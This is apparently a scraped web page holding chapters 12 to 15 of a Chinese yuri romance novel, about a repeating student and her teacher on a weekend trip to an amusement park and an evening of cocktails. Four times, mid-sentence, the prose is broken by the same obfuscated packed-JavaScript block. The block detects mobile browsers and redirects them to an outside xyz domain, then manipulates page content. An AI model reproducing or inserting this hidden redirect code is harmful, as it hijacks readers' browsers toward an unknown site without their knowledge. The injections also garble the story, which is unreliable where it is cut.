时间很快来到了周六下午，江文初在校门口接了白柚放学，两人一起回了家。 因为下周周二是中秋，所以一中会连着放三天，时间也不紧张。 江文初准备简单做两个菜，她掌勺，白柚就在旁边帮她洗菜切菜。 吃完饭后，白柚肝了会儿有价值的作业，江文初则陪着江小白玩儿了一会儿，又把猫砂盆清理干净，给它放了足够的水和猫粮。 时间快到八点，两人才收拾了东西轮流洗了澡，洗漱完从家里出发了。 白柚坐在副驾驶座上，偶尔侧头看向江文初，她专注地驾驶着，眉宇间却透露着放松。 今天是放假的第一个晚上，路上车子比较多，不出意外地在下高速不久后小堵了一会儿。 不过好在一路上没有发生什么车祸，路况还算能接受。两人偶尔聊几句话，很快十点半出头就到了订好的酒店。 刚才一路过来都有欢乐谷的广告，白柚猜这个酒店离欢乐谷不远。在等江文初停车时她打了个导航，发现到检票口才不到三百米。 她想过近，但也没想过这么近。 可惜的是由于两人来得晚，所以并没有看到夜晚灯火通明的炫彩世界。欢乐谷已经闭园好一会儿，里面的灯光也已经关闭。 在前台拿了房卡，两人就上上了楼。 等到房间里的灯悉数亮起时，白柚目光扫过整个房间，才发现江文初定的好像是一间大床房。 她表面上风平浪静的，心中却早已涌起一股难以言说的窃喜。 不过也正是因为这是一米八的大床房，进入房间后，白柚就显得有点拘谨。 从记事开始，她就只很偶尔地跟白允一起睡过，连认识了这么久的姜南都没有成功爬上过她的床。 习惯了自己一个人睡，所以白柚本来下意识就觉得江文初会定标间，没有考虑过还有这样一个可能性。 现在忽然得知真相，她虽说不上排斥，但还是需要努力做一下心里建设。 为了避免江文初看出端倪，白柚将行李箱放在床边后，就走到窗边，拉开了窗帘，假意欣赏着城市的夜景，试图掩饰自己的紧张。 江文初则将包放到了柜子上，开了空调，洗了个脚换上一次性拖鞋，又走到迷你吧台前，拧开了一瓶水解渴。 “我们早点休息吧。”喝了几口水后，江文初拧紧瓶盖，打破了沉默。 “嗯，好。”白柚应了一声，声音有些微不可察的颤抖。 她拉上窗帘，甫一转身，两人的目光就在房间中交错。 不知为何，白柚忽然目光向下瞟了一眼，落在江文初刚喝完水的红唇上——水润光滑，吹弹可破——看得人很想上去啃一口看看是什么味道。 想到这，白柚下意识地迅速挪开了视线。 好在这时江文初的手机响了，她看了一眼就开始回消息，也没多说什么。 见状，白柚连忙趁机打开行李箱拿了睡衣转身走进卫生间，关上门，靠在门上深呼吸，试图平复自己的心情。 放慢速度换好睡衣后，白柚冲了个脚，又在里面腻了一会儿，才抱着衣服出了门。 江文初还站在原地，只是换了个姿势，左手轻轻扶在了柜子上，右手大拇指不紧不慢地滑动着手机。 抬眸见白柚出来，她便关了手机，也去了行李箱那边：“我也换个衣服。” “好。”白柚应着，掠过她走向床的另一边，将衣服叠好裤子垫底放在了那边的凳子上，却放了一只耳朵在背后。 江文初那边几秒后就没了动静，白柚正疑惑着她走路为什么没有声音，一转身就看到江文初正背对着她刚脱了衬衫。 她的背部线条修长而优美，微微弯曲的脊椎勾勒出完美的曲线，肌肤光滑细腻，在灯光下散发着温润的光泽。 白柚瞪大了眼，顿觉喉间有些干燥，不自觉咽了咽。 不过转瞬，江文初就往身上套上了睡衣，遮去了让白柚看呆的一片风光。 白柚这才回过神来，看着江文初要继续换睡裤，连忙又转过身去。 她想看手机，手机刚才被她落在了卫生间里；又不能拉开窗帘继续看夜景，白柚只好两手撑着坐在了床沿上，等着江文初换好了叫她。 没过多久，白柚就听到身后传来一声低低的轻笑，下意识绷直了背站起身来。 “怎么不上床？”说着，江文初将衣服搁在了衣帽架上，像是随口一问，“在想什么？” 白柚应道：“就是在想……明天去玩儿什么。” 不过这也不算是白柚编的理由。之前想来游乐园的主意来得草率，她忘了问江文初喜欢哪些项目。 万一江文初喜欢玩儿那些刺激的……她这个极度恐高还受过伤的人恐怕是承受不了。但要是因为她的原因扫了江文初的兴，那又岂不是与她最初的目的背道而驰了。 江文初掀了被子躺上床，略微思考了一下：“我对那些‘极限活动’不是很感兴趣，如果小柚愿意的话，我们去玩儿休闲一些的。” 听到这话，白柚松了一口气。 还好，江文初对那些也不感兴趣。 “好啊，刚好我也喜欢平和一些的。”说着，白柚也从自己这边掀开被子躺在了靠边的地方，动作幅度没有太大。 甚至因为这张床比较大，她和江文初之间还隔了很长一截被子。 刚躺下，白柚就想起自己的手机还在卫生间，又坐起来去拿了回来。 就是她回来的时候，江文初已经又往床中间挪了挪。 等白柚设好闹钟躺回床上，江文初才伸手关掉了房间的灯光。 白柚平躺着，她能感觉到江文初的呼吸声，仿佛近在咫尺。 她想要开口说点什么，打破这份沉默，但话到嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785789|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边却又咽了回去。江文初似乎也感受到了这份尴尬，她转过身来，面对着白柚。 “小柚，你睡着了吗？”江文初的声音轻轻的。 “还没有。”白柚回答，她的声音有些沙哑。感受到江文初的动静，她也侧了过去，出于礼貌。 两人目光交汇在透过窗帘洒下的朦胧月光中。 白柚等着江文初说些什么，可两人沉默对视了好一会儿，江文初也没开口。 即使现在视物模糊，被江文初的一直这么注视着，白柚的脸和耳朵开始有些发热。她感觉自己的喉咙愈发干燥，终于忍不住叫了一声：“江老师？” “嗯，”江文初淡淡地应了一声，沉默两秒，转过身去，轻声道，“睡吧。” 说心里不失落那是假的，本来白柚还想着江文初会跟她聊聊天，没想到这天还没开始聊就已经结束了。 不过明天确实不能睡太久懒觉，今晚早点睡也不是什么坏事。 白柚应了一声后也平躺过去。 一周用脑的疲惫让她还没来得及多想很多，就沉沉地睡了过去。 第二天，两人睡到八点四十起了床，洗漱完后去欢乐谷门口吃了个早餐，踩着开门的点排队检票入园。 今天是放假第一天，才开门没多一会儿，乐园里面就逐渐人声鼎沸，各种游乐设施的尖叫声此起彼伏。 江文初没来过这里，白柚虽然来过但也是个路痴。两人研究了好一会儿，才照着地图找到了培养感情经典必玩儿项目——旋转木马。 随着项目启动铃的响起，设备开始旋转。 白柚一开始还比较拘束，看到对面木马上的江文初笑着看着前方，她也稍稍放松了些，随着木马和音乐节奏点头打节拍。 然而，没过多久，白柚的笑容忽然凝固，不自觉地停下了动作，目光定格在对面木马上坐着的江文初身上。 江文初双手轻握住木马上镶嵌的把手，神情温和又淡定，目光不知道什么时候已经悄然落在了白柚的身上。 她身形修长，坐姿优雅，头发随风飘动，微微的金色光晕照在她的发梢上。 白柚看着江文初的身影，心中忽然涌起一股熟悉的感觉，仿佛这一幕曾经出现在她的梦中。 那种陌生又熟悉的感觉让她心里一阵不安，仿佛梦里的记忆在被无声地唤起，却又在一瞬间消失得无影无踪。 白柚的心跳突然加速，那一瞬间，仿佛有什么东西在心里触动。 她深吸一口气，眼球开始不停转动。 见状，江文初有些迟疑地开口：“小柚，怎么了？” 白柚努力稳住自己的思绪。 不想江文初担心，她摇了摇头，把那种奇怪的感觉压回心底：“没什么，只是觉得这一幕好像在哪里见过。” 白柚抬头看着江文初，目光中尽力藏住了那份难以言喻的情绪。 12. 天平 江文初握着木马的手紧了些，手背上的几根血管骤然突起。 她沉默了几秒，眼神难得有些飘忽：“也许是……因为很开心，所以觉得这一幕特别熟悉？” 白柚有点听不懂江文初的意思，但她把这归结为自己的脑子不清晰。 她点点头，再次深吸了一口气。 微风轻轻拂过白柚的发梢，带着一丝凉意，一时间好像也带走了那些不知所措的情绪。 随着木马上轻微的摇晃，白柚闭上眼睛，稍稍放松了身心。 旋转木马一轮结束，两人算是热了个身，游玩的氛围也浓烈了起来。 随后，两人玩儿了转转杯、漂流、碰碰车和脚踏车之类的几个项目，又一起看了趟4D电影，一开始的小插曲就被白柚抛在了脑后。 电影结束时，便快到午饭时间了。 在觅食的路上，路过疯狂DISCO，白柚看到整个设备像一个巨大的飞碟在跟着节奏跳动，上面几乎每一个人都在手脚乱舞，但看起来非常尽兴。 一个少年一边笑一边抓住扶手，差点没被甩出去，他旁边的女孩已经笑得喘不过气来。 江文初看到白柚盯着那里在走神，问她：“想玩儿吗？我们可以玩儿完这个再去吃饭。” “好啊。”白柚心中正有此意，江文初主动提起，她也没有推拒。 两人运气也算不错，现在人还不多，排了两轮就轮到了她们。 脱了袜子上去，两人找了个人少的“地段”坐在了一起。 “你们准备好了吗？”场控男生非常激情，挥舞着手向大家示意，“让我们跟着音乐一起律动起来！” 他话音落下，节奏感强烈的音乐顿时就充满了整个空间，飞碟也立马就随之抖动起来。 这飞碟旋转和抖动的力度比白柚想象中的要大，有些紧张，试图抓住座椅让身子稳住。可她渐渐发现自己根本没办法抓住任何东西，只能任由身体不受控制地左右晃动。 白柚朝江文初的方向看去。 江文初的头发被风吹得有些凌乱，脸上也难得出现了些许紧张的神色，不过相对白柚，她的身子还要稍微稳当一些。 “江老师。”白柚下意识叫了她一声。 “嗯？”江文初也看向她。 白柚刚想“请教”她怎么稳住身子，飞碟忽然开始急剧旋转，一股离心的的感觉让她的身体猛地向一侧倾斜。 见状，江文初伸出一只手，抓住了白柚的小手臂。她本意是想要扶住白柚，可飞碟忽然反向一转，白柚整个人就几乎跌进了江文初的怀里，脸也贴在了江文初的肩膀上。 西柚的香味扑面而来，白柚的心跳得更快。 在内外的双重刺激下，白柚有些晕头转向的。 她下意识伸出手想要撑着软垫坐起来，可下一瞬，伸出去的手就被江文初另一只手也握住了。 整个身子被江文初稳稳地搂住，白柚的世界突然间仿佛安静了下来，只听得见江文初不同寻常快的心跳声。 “放心，我会保护你。”耳边传来江文初低低的声音。她温热的呼吸喷打在白柚敏感的耳朵上，让白柚产生了一种酥麻感，从耳边传到了全身。 白柚还没来得及调整姿势，两人又随着飞碟的抖动骤然拉开了距离。 随即映入白柚眼帘的便是江文初水润鲜红的唇。 她顿时有些愣住，忙不迭收回视线，脸红得几乎要烧起来。 白柚不知道自己最后是怎么玩儿完整个游戏的，回过神来时，灯光已经变得柔和，音乐也从震耳欲聋转为平缓。 她还没从刚才的紧张中缓过来，整个人有点蒙。 想起自己好像还趴在江文初怀里，白柚这才连忙借力坐了起来，看向场控不敢与江文初对视。 倒是江文初先笑着开了口：“怎么样，好玩儿吗？” “有点……太刺激了。”白柚开口时，声音都还有些抑制不住的颤抖。 说完，她抿了抿唇。 江文初也没有再问，随后两人拿了手机一起走到了出口。 出口外是乌泱泱的人，比她们刚去排队时人又多了很多。 白柚跟在江文初后面，刚一出去，就看到了江文初朝她伸过来的手。 白柚迟疑一瞬，就听江文初解释：“人太多了，等会儿走散了不好找。” 听她如是说，也没有什么拒绝的理由，白柚便牵上了上去。 江文初的手自指尖开始便有些发凉，在这个炎热的夏天，握着就更显舒适。不过这也时刻提醒着白柚，她正和江文初手牵着手走在人群里。 “江老师有什么想吃的吗？”白柚环顾四周，想给两人之间找个话题。 江文初也随着她的目光四处游走。附近快餐和油炸小吃居多，考虑到白柚的胃，想了想，她道：“小柚想吃正餐还是小吃？关东煮有兴趣吗？” 白柚点点头：“关东煮可以，景区里面应该也没有什么特别好吃的，又贵，凑合一下就行。” 于是两人一人买了一份关东煮和豆腐脑，就找了个树荫下的小桌子坐了下来。 天气热得让人没什么胃口，白柚吃了几口豆腐脑和两串 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785790|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丸子，就感觉有些饱了。 江文初看到白柚放下筷子，从自己的纸杯里夹起一块白萝卜：“小柚都没吃蔬菜，再吃口这个？” “好。”这白萝卜一看就很脆嫩，吃起来口感应该不错，白柚也没拒绝。 说着，她刚想拿起筷子接过萝卜，江文初闲着的那只手就按住了她的右手，另一只手顺手又将萝卜往她嘴边递了递。 事已至此，白柚只能就着江文初的筷子吃。只是这萝卜本来就大，又不是自己夹的，白柚啃了好几口，才将萝卜全部塞进了嘴里。 而江文初就握着白柚的手，不疾不徐地配合着她的动作，满是笑意。 一如逛超市的那天傍晚，白柚心中又生起了一股暖流，觉得，要是她和江文初能一直这样就好了。 既然如此，那么为什么就不能呢？ 此刻，白柚心中的天平已经开始有了倾斜。 没过多久，又吃了两小口的江文初也放下了筷子，这顿饭吃得可算是极快。 不过也就是这一会儿，太阳已经到了头顶上，火辣辣地照着大地，晃得人睁不开眼又热得不行。 两人商量了一下，上午也算是把想玩儿得都玩儿了一下，所以下午决定去找个室内的地方。 回酒店的路上，两人决定去找一家密室。在等江文初开车出来的路上，白柚就选好了附近一家评价还不错的店。 白柚在高中刚毕业的那个暑假和姜南还有班上几个同学一起玩儿过一次密室，虽然说不上精通，但也大概了解是怎么一个规则。 而江文初虽然没有体验过，但听白柚简单讲了一会儿，到了实地一摸索，没过多久也掌握了规律。 这个两人的密室是解密挂的，没太多恐怖元素，不算太难，关卡也没有很多。所以不出半个小时，白柚和江文初配合着就成功逃脱了。 白柚稍微有点没有尽兴，现在也才两点出头，她正在考虑要不要换一个再玩儿一次时，一瞥眼看到对面是一家VR游戏店。 她想体验VR很久了，只是一直没有机会找个人陪她去。 她眸光闪了闪，指了指对面，看向江文初：“江老师想试试那个吗？” 于是五分钟后，两人就和一个工作人员一起来到了一间封闭的“小黑屋”。 因为头戴设备需要工作人员帮忙调试，所以白柚先戴上了。在工作人员准备继续帮江文初时，她却朝工作人员摇了摇头，指了指自己的眼睛，又指了指白柚。 小姐姐会意，很配合地和江文初一起制造出了一些动静，过了一会儿，才停了下来。 13. 恐高 “你们两位想玩什么游戏？”工作人员小姐姐问，实际上是说给白柚一个人听的。 白柚看了看面前的一排封页：“有什么比较推荐的吗？” 小姐姐看了江文初一眼，想了想：“有一些打僵尸的，会比较恐怖。如果你们是第一次来的话，也可以体验一些感觉比较强烈的，像滑雪呀、大摆锤啊、跳楼啊之类的。” “跳楼吧。”没等白柚回答，江文初先她一步做了选择。 白柚是非常恐高的人，到了三楼以上的高度，她只要一靠近栏杆，甚至走在楼梯上都会有腿软的感觉。 所以活了二十年，她别说跳楼，连站在高处往下眺望风景的机会都没碰到过。 不过白柚没有反对。 虽然现实中唯唯诺诺，但是白柚想，不过是个虚拟空间而已，她应该还是可以重拳出击的。 “好，”应下，小姐姐就帮白柚调出了游戏，“你们往前走几步，坐上电梯自己按键去楼顶哦。” 在这个间隙，江文初已经掏出了手机打开了录像。 白柚听话照做，很快就适应了操作方法。 电梯缓缓上升，她停住时，电梯门打开，而电梯外面是一个长长的木板，和跳水板有些相似。 “可以往前走了，然后跳下去。” 白柚往前走了几步，一出电梯口，她就觉得自己的腿开始有些抖了。 她的步子开始化为挪动，心里空空的感觉随着越来越往前而越来越严重。 虽然明知道这个是个假的空间，就算真的掉下去也不会发生什么，白柚还是在跳的关头怂了。 她默默做了好几次心里建设，每次下定决心要往下跳时，一低头看到下面的“风景”，她就挪不动腿。 如此循环往复，小姐姐也有些看不下去了：“没关系，跳下去我们就可以换个游戏。” 神经本就在崩溃边缘的白柚不仅没有被鼓励到，甚至被这声音吓得一激灵，转身往电梯里跑去。 这一跑就直直地撞进了原本在她身后的江文初的怀里。 一如在疯狂DISCO上的浓烈香味窜进了白柚鼻子里，刚才的惊恐有所缓解。 感受到江文初伸出了手抱住她，白柚干脆也直接环住了江文初，让她帮助自己稳住了快要软掉的双腿。 “别怕别怕，我们不玩儿这个了，都是我的错。”江文初拿着手机的手用手臂搂着白柚，另一只手轻轻拍着白柚的后背，温柔安抚。 不知想起了什么，随后江文初眼中又出现了几分心疼。 白柚平复了好一会儿，才缓过劲来，又觉得自己被一个虚拟现实的游戏吓成这样实在有些丢人。 她的头枕在江文初的肩上，久久也不愿挪开。 听到白柚的呼吸逐渐均匀了，江文初才悄悄将手机收起来，帮她理了一下周围的设备线：“好些了吗？要不先休息一下？” 直到这时，白柚才反应过来江文初好像手上没拿什么东西，头上也不是像戴了设备的样子。 她从江文初身上离开，伸手将设备摘了下来，果然和她想的一样。 “江老师？”白柚疑惑地唤了一声。 江文初连忙解释：“小柚，我戴这个会头晕，又不想让你扫兴，所以……” 原来如此。 “那我们要不要……” 江文初知道她想说什么，于是打断了她：“小柚要是还愿意再体验一下别的就继续。不用担心我，我看着你玩也挺有意思的。” 来的时候白柚还在纠结是玩半小时还是一小时，最后两人先交了半小时的钱。经过刚才那么一折腾，时间可能也过了一小半了。 “好，那我们就半小时结束吧。”白柚琢磨着毕竟交了钱，就这么走了也浪费。现在她好多了，就不妨再看看。 旁边退到角落很久没说话的工作人员小姐姐在两人没注意的角落都看出了姨母笑。 这会儿工作来了，她才走了过来：“那我帮你再戴上。” 白柚这回老实了，认怂到连过山车都不敢玩，最后选了滑雪游戏。 江文初就在旁边陪着她，看她要摔了就扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785791|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一下。 滑雪游戏倒是既不恐怖也不刺激，但是因为游戏原因玩家需要一直晃动。加上VR设备戴久了确实也容易头晕，没过几分钟，白柚就觉得有些不舒服，没忍住又将它摘了下来。 从游戏店出来，才快要三点，太阳还是毒辣的时候。两人便打算继续在商场里逛一个小时，等会儿找个地方吃了晚饭再回家去。 一个小时很快过去，出商场时，恰巧碰到一家酿酒店在商场的入口处搭起了临时摊位，摊位上摆放着一排排瓶装米酒。 两位店员小姐姐穿着汉服，热情地向来往驻足的人介绍着她们的酒，时不时递上一杯给她们品尝。 “江老师，想喝那个。”白柚带着些期望地看着江文初，又用眼神示意她往门口看去。 于是江文初带着白柚过去买了两瓶。 临走时，店员小姐姐特意友情提醒她们这个酒比平时喝的米酒度数要高很多。 白柚礼貌地道了谢。 但她其实并没有太把这话放在心上，她虽然喝酒不算特别多，但酒量还算不错。这一斤多米酒两个人喝，充其量也就算热个身。 哪怕是后面江文初跟她说自己虽然能喝酒，但有点喝不惯米酒的味道，白柚也觉得自己理论上能把这两瓶都解决。 只是一个人独酌又没有太大意思。 “江老师。”又走了没几步，白柚扯了扯江文初的手腕。 从今天DISCO结束那次牵手开始，两人的关系一如上次玩儿胡闹厨房那次被拉进了很多。所以相处中，白柚也大胆了些。 “嗯？”听到白柚叫她，江文初侧身看过她，手臂却往上抽了抽。白柚的手顺势往下滑，就恰好落在了江文初的手中，被她牵了个着着实实。 虽然已经不是第一次，但白柚被江文初牵上的瞬间还是心跳漏了一拍，都忘了自己要说点什么。 过了几秒没听见白柚的下文，江文初又问：“怎么了小柚？” 白柚回过神来：“哦……就是想问问江老师想试试我调的酒吗？又好看又好喝。” 14. 动态 这不是白柚吹嘘。 白柚上大学时，偶尔压力大了，就会来一杯调酒。 不过相比酒精作用，更让她觉得解压的是调酒的过程。沉浸在如何制作出让自己满意的一杯酒的小世界里，她身心都会感到放松。 久而久之，白柚就练得了一身调酒的好本领。 之前姜南还调侃她说，要是她35岁失业了，就可以去开一家小酒馆，指定生意不错。 “好啊，”说到这，江文初也来了兴致，“那我们回家吃？我再做几个你没尝过的拿手菜。” 之前每次吃正餐要么就是没有提前买菜，要么就是吃饭的时间不是非常宽裕，江文初还没来得及给白柚做一顿非常丰盛的饭。 于是两人打道回府。 回了毗县后，两人先是去菜市场买了菜，后又去超市买了调酒用的装备和材料，才回了家。 白柚回家第一件事给江小白铲了个猫砂，又给她加了点猫粮和水。 然后她就去了厨房给江文初打下手。 两人一起把食材都清理准备好，又按照需要时间长短的顺序把食材都下了锅。 白柚估摸着时间应该差不多了，才从冰箱拿出了刚才外卖来的食用冰，去了餐桌边上。 但这块冰冻得太结实了现在不好凿开。 于是白柚接了一盆水把冰袋放在里面，陪着江小白玩儿了一会儿，等冰稍微融化了一些，才正式开始调酒。 这次本来是临时起意，所以买的材料不多，酒只有金酒和伏特加，糖浆只有石榴糖浆，饮料倒是多买了几种。 想了想，白柚很快熟练地调了一杯“伏桃”，又调了杯“一见钟情”。看着旁边的一排养乐多和剩余的柠檬，她准备最后再摇一杯“初恋”——这可是个体力活。 为了摇出多一点泡沫，白柚卯足了劲，足足摇了有一分钟。 她中途因为手酸痛还把两只手换了个顺序，最后的结果就是她两个手臂都有些酸痛。 将雪克杯放在桌上，白柚不禁皱着眉甩了好几下手。 看来以后还是得多练练。 白柚这么想着，打开雪克杯将酒倒了出来，插上了一片柠檬片。 矮胖的玻璃杯里整体是淡淡的粉红色，上层覆盖着细腻的白色泡沫，增添了几分柔和感，看起来更加清甜。 白柚对最后这杯作品非常满意。 将三杯酒摆成一排后，她准备去江文初那边怎么样了。一抬头，却见江文初就抱着江小白，倚在厨房门口看着她。 也不知道这一人一猫是什么时候混在一起的。 “江老师。”白柚被这么看着觉得有些不好意思，叫了她一声，手在桌子上顺着酒排列的方向划了一下，示意她看自己的劳动成果。 江文初回她一个微笑：“真棒，我们小柚真厉害。” 虽然感觉有些像是在哄小孩的语气，但白柚是莫名地受用，让她心里隐隐作乐。 白柚在收拾酒和糖浆，江文初就把江小白放到了地上，走进了餐桌。 她先是给三杯酒拍了个全家福，又给每一杯酒都拍了个特写。 点进相册回看，江文初顺口说：“正好等会儿发个朋友圈。” 白柚仔细回想了一下，上次看江文初朋友圈的时候，里面是什么都没有。 今天好像也没有什么重大的事情发生吧，怎么就让江文初想起来发朋友圈了？ 还是说，之前自己一直被屏蔽了？？？ 在白柚还在思考这两个可能哪个概率大时，江文初已经收了手机：“小柚稍等一下，我去厨房把菜端过来就可以开饭了。” “我和你一起。”说着，白柚绕过了朝她走过来的江小白，跟上了江文初的步伐。 江小白见两个人都不想搭理自己，也不自讨没趣，叼了自己的小玩具回了窝里。 虽然今天的菜比较多，但两人都好像还是更偏好在茶几上吃。 两人一起跑了两趟从厨房到茶几，一切也就准备妥当了。 江文初从餐桌端了那杯“初恋”来，看见白柚正在开米酒瓶，便问：“米酒要不要热一下？喝起来胃可能好受一些。” “没关系的江老师，我的胃也没有那么不好。”白柚看着江文初的眉眼弯弯。 “好。”江文初应下，在白柚对面坐了一来，在白柚要倒米酒的时候，拦住了白柚的手。 白柚抬头：“怎么了江老师？” “你说……”江文初将另一手上的酒杯也放到茶几上，“老师带着还在上高中的学生一起喝酒，是不是不太好啊？” 话虽是这么说，但白柚从江文初脸上没有看到半分觉得真的不好的意思。 不过她也顺着江文初拦她的手将米酒放回了茶几上，一手撑着下巴看似很认真地思考：“那……” “我以后不叫你江老师，就不会不好了。” 虽然不知道江文初这么说意欲何为，但白柚有几分猜测，说这话也有几分试探和验证的意味。 果不其然，江文初露出了似乎很满意的笑容。随后，她敛了笑意，看向白柚：“好啊。” “那叫什么好？”白柚继续追问，把主动权交给江文初。 “叫姐姐。” 姐姐…… 白柚有一瞬间的愣神。 怎么说也是在百合剧圈混迹了好几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785792|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人，白柚又怎么可能不知道这两个字对于姬仔来说是多么暧昧的称呼。 更何况……还是年上主动对你说“叫姐姐”。 平时她对白允，都不会这么叫。 “姐姐……” 白柚本来在心里默念着这两个字，但不知怎的，却忽然念出了声。 当她意识到这件事时，耳朵已经先一步热了起来。 不过也就是叫声姐姐的事……她是不是有些太敏感了。 要是江文初本没有那个意思，就会显得她自己像个小丑。 “嗯，那就好了，”这边白柚还在脑补，那边江文初应了声，勾了勾嘴角，伸手过去接过了白柚放在桌子上的米酒瓶，“我帮你倒。” 米酒倒入杯中，似清澈又浑浊。 今天江文初做了菠萝排骨、番茄滑蛋牛肉、可乐爆汁虾仁和香菇炒青菜，每样都比较清淡，但也刚好每样都是白柚喜欢吃的。 “江老……”白柚端起碗刚开口，对上江文初的眼神，又清了下嗓子，“姐姐，周末快乐。” 算得上是第一次正式这么叫江文初，白柚心里总感觉有些别扭。 “小柚，周末愉快。”江文初与白柚碰了杯，小酌一口。 白柚也喝了一口。这米酒甜甜的，不辣口。 “好看也好喝，小柚是不是以前没少给别人调酒喝呢？”江文初突然问。 “也没有。” 白柚仔细回想了一下，除了江文初以外，应该就只有姜南还有白允有机会喝过她调的酒。 “那就好”，白柚看到江文初听到她的回答，整个人似乎放松了些，而后她又像是解释道，“我是说……小柚胃不好的话，酒还是要少喝一些。” 两人一起吃了大概十多分钟，酒没怎么喝，倒是菜吃了不少。 除了第一下江文初主动邀请白柚喝了以外，她都在不停往白柚碗里夹菜，让白柚先吃些饭垫垫肚子。 期间两人聊了一些和白天所见所闻有关的话题，说了些有的没的。 白柚一碗饭很快下了一大半。这时，江文初放下了筷子，站起了身。 “抱歉，我去趟洗手间。” “好。” 关门的声音从身后传来。 得了空，白柚恍然想起江文初刚才说的发朋友圈的事情，便从沙发上拿了手机点开了她的对话框，进了她朋友圈。 没想到，这一下刷出来了两条动态。 她发的第一条朋友圈是简短的一行字：宝贝，终于把你接回家了 配图是一张聚焦在正追着逗猫棒跳起来的江小白身上的照片，而旁边那个拿着逗猫棒的，正是白柚。 15. 米酒 不过因为江文初是站在白柚侧后方拍的，照片里看不到白柚的脸。 而最新一条的动态则是江文初刚刚发的，没有配文，只有两张照片。 除了三杯酒的全家福，另一张照片里，白柚正在调“初恋”。 照片定格时，她正弯着身子把酒从雪克杯里倒出来，因为担心着能不能顺利倒出一层好看的泡沫，她神情专注地盯着杯子，看起来非常认真。 如果江文初不是直得对女孩子没有一点可能的意思的话，现在她们的情况是不是有一点太暧昧了点…… 看着自己面前的米酒，白柚也知道，今晚是个难得的好机会弄清楚究竟有没有这个可能，还是说自己误会了。 想着，洗手池传来水声，白柚连忙关了手机，朝沙发上一扔。 江文初回去的时候，顺便把另外两杯酒也一并拿到了茶几上。 两人就这么有一搭没一搭地聊着，白柚不经意提起了一件大学快毕业的事情，待她讲完，江文初也顺势问起了她：“小柚，可以问问你为什么大学毕业之后选择回来复读吗？” 这个在白柚看来别人只要知道她选择的时候就会发出的疑问，快两个星期过去，江文初才终于问出了口。 不知为何，她忽然感觉眼眶有些发红。 “我……” 见白柚有所迟疑，江文初甚至还很礼貌地补充了句：“我也只是随口一问，要是小柚不想说的话，也没关系。” “不是，”怕江文初误会，白柚连忙否认，“只是这件事说来话长，一时间不知道从何说起。” “要是愿意的话，小柚可以慢慢说，反正今晚的时间还很长。”说着，江文初端起酒杯往白柚面前去，示意要与她碰杯。 于是白柚跟江文初碰了碰，向她娓娓道来了自己做出这个选择的各方面原因。 其实白柚再读一个高三并不是脑门子一热就拍板做出的决定。 当时她也是考虑了很久，觉得自己能承受所有可能的结果后，才告诉了父母。 她告诉她爸妈包括白允的理由是：她们家是做生意的，而她自己是学计算机的，万一未来家里有个什么事情，她想帮白允都帮不上。所以她准备再选个管理类的专业学一学专业的知识。 至于为什么不跨考或者留学，白柚给出的原因是觉得高考简单一些。而且本科生活相对轻松，她还可以好好享受几年没什么压力的学生生活，到时候也可以趁此机会好好锻炼一下身体。 不想深造的理由是真的，但对于前者，白柚是在经过一次创业之后，深觉了管理知识和经验的重要性。她未来还是想要走自主创业的路线，心里也有了一些处在萌芽状态的想法。但想要把这些idea落地，光有计算机专业的技能是不太够的。 另外她并不想去靠家里的资源进行创业，除此之外，可能也只有大学能有不错的机会和资源。只可惜第一次读大学的时候她不太懂，没有好好把握，如果再来一次，她觉得自己一定能做出不一样的成绩。 不过按理说，白柚家里条件还不错，她和姐姐的关系也能算是非常好，要是她想的话，不管是只去做自己喜欢的事业还是在家里的公司里打拼，家里人肯定都会支持。她为什么执着于想要自己做出一番事业，事实上……白柚自己也说不清楚。 只是她心中一直有一个声音在这么告诉她：你一定要自立去取得你想要的东西，不要过度去依靠任何人。 于是她也选择遵从自己的内心，来到了这里。 听到最后，江文初将剩余的小半杯“一见钟情”一饮而尽，轻咬着嘴唇，眼睛也有些红红的。 白柚能确定的是，应该是她说的话让江文初想起了什么过往或者想起来别的某某。 